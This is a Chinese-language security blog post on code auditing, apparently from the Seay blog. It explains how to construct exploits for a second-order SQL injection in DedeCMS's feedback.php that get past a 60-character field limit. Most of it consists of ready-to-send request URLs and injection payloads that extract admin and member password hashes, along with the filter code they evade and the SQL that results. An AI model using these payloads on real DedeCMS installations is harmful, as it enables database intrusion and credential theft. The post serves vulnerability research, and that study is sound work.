代码审计:Dedecms 二次注入经典exp构造 原60字符限

  • A+
所属分类:Seay信息安全博客

显示不全请点击全屏阅读

0×01 前言

      作者:Tycx2ry@SafeKey Team

      Long long ago,[email protected]发现dedecms二次注入的一个经典代码审计中二次攻击的案例,但限于字段大小不能超过60字节而显得比较鸡肋,在safekeyer集体的智慧之下发现两种突破办法。

   此文重在exp的构造,如需详细漏洞分析,请看:http://www.wooyun.org/bugs/wooyun-2010-018562

0×02 方法一:直接缩短法

理论:insert –> select –>insert –>select 

Exp:(红色表示重点数据)

第一次insert

http://127.0.0.1/dede/plus/feedback.php

?action=send

&comtype=comments

&aid=1

&isconfirm=yes

&cmtuser=admin

&msg=asfsafsdaf

&face=6

&validate=slep

&title=1′,”‘”,1,3,4,5,6,7,8,(select pwd from %23@__admin))%23

&sbbt=%E5%8F%91%E9%80%81%E8%AF%84%E8%AE%BA

第二次insert

http://127.0.0.1/dede/plus/feedback.php

?action=send

&comtype=reply

&fid=27

&isconfirm=yes

&cmtuser=admin

&msg=asfsafsdaf

&face=6

&validate=angr

&title=1

&sbbt=%E5%8F%91%E9%80%81%E8%AF%84%E8%AE%BA

看出我们第一次insert的payload是:

1′,”‘”,1,3,4,5,6,7,8,(select pwd from %23@__admin))%23

数据库:

返回结果:

绕过具体代码分析:

function CheckSql($db_string,$querytype='select')
    {
        ·····(此处省略)
        while (TRUE)
        {
            $pos = strpos($db_string, '\'', $pos + 1);
            if ($pos === FALSE)
            {
                break;
            }
            $clean .= substr($db_string, $old_pos, $pos - $old_pos);
            while (TRUE)
            {
                $pos1 = strpos($db_string, '\'', $pos + 1);
                $pos2 = strpos($db_string, '\\', $pos + 1);
                if ($pos1 === FALSE)
                {
                    break;
                }
                elseif ($pos2 == FALSE || $pos2 > $pos1)
                {
                    $pos = $pos1;
                    break;
                }
                $pos = $pos2 + 1;
            }
            $clean .= '$s$';
            $old_pos = $pos + 1;
        }
        $clean .= substr($db_string, $old_pos);
//echo $clean;exit();
        $clean = trim(strtolower(preg_replace(array('~\s+~s' ), array(' '), $clean)));

        ····(此处省略)    
}

 

 

上述检测代码作用就是替换sql语句中两个引号之间的内容为$s$

第二次insertsql:

INSERT INTO 

`dede_feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`,`mid`,`bad`,`good`,`ftype`,`face`,`msg`) 

VALUES (’1′,’0′,’test’,’1′,”‘”,1,3,4,5,6,7,8,(select pwd from dede_admin))#’,’127.0.0.1′,’1′,’1367583435′,’2′,’0′,’0′,’feedback’,’6′,’asfsafsdaf’)

经过上述处理:

INSERT INTO 

`dede_feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`,`mid`,`bad`,`good`,`ftype`,`face`,`msg`) 

VALUES ($s$,$s$,$s$,$s$,”$s$,$s$,$s$,$s$,$s$,$s$,$s$,$s$,$s$,$s$)

然后function CheckSql($db_string,$querytype=’select’)得检测绕过了。

重点在关于单引号的处理,用双引号引上单引号,使单引号作为字符串,单引号在绕过注入检测起了重要作用,又使之在完整的insert不能发挥单引号作用,只作为字符串。


0×03 方法二:两次插入结合法

理论:insert –> select –>insert –>select

Exp:(红色表示重点数据)

第一次insert

http://127.0.0.1/dede/plus/feedback.php

?action=send

&comtype=comments

&aid=1

&isconfirm=yes

&cmtuser=admin

&msg=asfsafsdaf

&face=6

&validate=slep

&title=1′,(char(@`’`)),/*

&sbbt=%E5%8F%91%E9%80%81%E8%AF%84%E8%AE%BA

第二次insert

http://127.0.0.1/dede/plus/feedback.php

?aid=1

&action=send

&comtype=reply

&fid=48

&isconfirm=yes

&validate=craf

&msg=*/1,2,3,4,5,6,7,(select/**/concat(userid,0x3a,pwd)/**/from/**/dede_member/**/limit/**/1))%23

通过两次insert向数据库中插入payload的不同部分,然后组合起来成为一个完整的payload

第一次插入:1′,(char(@`’`)),/*

第二次插入:*/1,2,3,4,5,6,7,(select/**/concat(userid,0x3a,pwd)/**/from/**/dede_member/**/limit/**/1))%23

组成最后完整的语句:

INSERT INTO 

`dede_feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`,`mid`,`bad`,`good`,`ftype`,`face`,`msg`) 

VALUES (’1′,’0′,’test’,’1′,(char(@`’`)),/*’,’127.0.0.1′,’1′,’1367591176′,’2′,’0′,’0′,’feedback’,’0′,’@`\’`*/,2,3,4,5,6,7,8,(selectconcat(userid,0x7c,pwd)fromdede_admin))’)

经过防注入函数处理:

insert into `dede_feedback`(`aid`,`typeid`,`username`,`arctitle`,`ip`,`ischeck`,`dtime`,`mid`,`bad`,`good`,`ftype`,`face`,`msg`) values ($s$,$s$,$s$,$s$,(char(@`$s$,$s$,$s$,$s$,$s$,$s$,$s$,$s$,$s$,$s$)

完全没有问题绕过。

数据库:

返回结果:

0×03 结束语

如有错误希望指正,如有建议希望讨论。www.safekeyer.com

 

Tags:

dedecms漏洞, 代码审计,

如果您喜欢我的博客,欢迎点击图片定订阅到邮箱填写您的邮件地址,订阅我们的精彩内容: 也可以点击链接【订阅到鲜果】

如果我的想法或工具帮助到了你,也可微信扫下方二维码打赏本人一杯咖啡
代码审计:Dedecms 二次注入经典exp构造 原60字符限